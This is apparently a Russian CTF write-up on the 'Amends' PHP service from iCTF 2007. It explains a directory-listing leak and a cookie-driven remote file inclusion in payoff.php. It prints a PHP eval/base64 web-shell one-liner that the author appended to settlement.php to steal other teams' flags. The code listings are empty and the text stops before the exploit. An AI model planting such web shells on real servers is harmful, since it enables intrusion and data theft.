ХакерДом : CTF/UCSBiCTF2007/services/amends

Amends


Сервис Amends – это динамическая web-страница, написанная на PHP. Этот сервис предлагает оценить, сколько вы согласны заплатить денег за обширный каталог пиратской музыки. После заполнения регистрационной формы пользователь мог ввести данные о своей кредитной карте. В поле кредитной карты жюри записывали флаг, который, как вы понимаете, необходимо было воровать у других команд.

Я ничего не могу гарантировать, но за всю игру было обнаружено всего две уязвимости. Если кого-то найдет другие, сообщайте. Образ игры можно скачать с сайта организаторов или с нашего сервера.

Первую уязвимость обнаружил наш администратор – Archangel. После регистрации пользователя формировалось письмо, в котором указывалось его ФИО, почтовый адрес и другая полезная информация. Это письмо сохранялось в специальной папке settlement, куда был доступ через веб. По умолчанию папка была доступна для просмотра из веб, что позволяло всем желающим просматривать содержимое папки и читать письма. Т.к. в письме указывались данные пользователя, то, прочитав его, можно было войти на сайт под этими учетными данными, просмотреть информацию о пользователе и узнать номер его кредитной карточки. Archangel быстро исправил эту ошибку путем создания в папке index-файла, за что ему большое спасибо! :).

Вторая уязвимость находилась в PHP коде, в файле payoff.php:



а функция get_ltrfmt_modname содержит следующий код:



Т.е переданное пользователем значение cookie декодировалось из base64 и полученное значение использовалось как параметр к функции require. Таким образом, через cookie мы можем передавать PHP-скрипту имя файла, который необходимо будет исполнить. И так как по умолчанию в настройках PHP значение параметров allow_url_fopen и allow_url_include были установлены в On, то это позволяло подключать файлы с удаленных компьютеров. Чем я и воспользовался. Подключаемый файл был вот такой:



Он дописывал в конец файла settlement.php шелл (<?php @eval(@base64_decode($_POST["q"])); ?>).

А затем был написал эксплоит, который использовал данный шелл для кражи номеров кредитных карт с серверов других команд. Спасибо BAY'у за помощь. Текст эксплоита: